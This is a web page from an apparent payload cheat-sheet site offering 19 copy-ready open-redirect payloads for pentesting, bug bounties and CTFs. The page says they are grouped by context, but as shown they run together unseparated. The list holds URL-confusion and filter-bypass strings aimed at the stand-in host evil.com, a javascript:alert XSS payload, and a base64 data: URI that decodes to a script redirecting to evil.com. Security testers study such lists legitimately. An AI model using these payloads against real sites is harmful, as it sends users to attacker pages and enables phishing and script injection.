$loading...
Open redirect payloads for URL parsing confusion, protocol tricks, and filter bypass techniques. (19 payloads)
//evil.comhttps://evil.comjavascript:alert(document.domain)data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0naHR0cHM6Ly9ldmlsLmNvbSc8L3NjcmlwdD4=\\evil.com\/\/evil.comhttps://[email protected]https://trusted.com%40evil.comhttps://evil.com#trusted.comhttps://evil.com?trusted.comhttps://trusted.com.evil.comhttps://eviltrusted.com/%0d/evil.com/evil.com/%2f..https:%2f%2fevil.com%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6dhttps%3A%2F%2Fevil.comhttp://evil.com%E3%80%82//evil%E3%80%82comLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 19 Open Redirect payloads for testing Open Redirect vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the SSRF generator to build customized Open Redirect variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Open Redirect payloads are completely free, with no account required. Everything runs in your browser.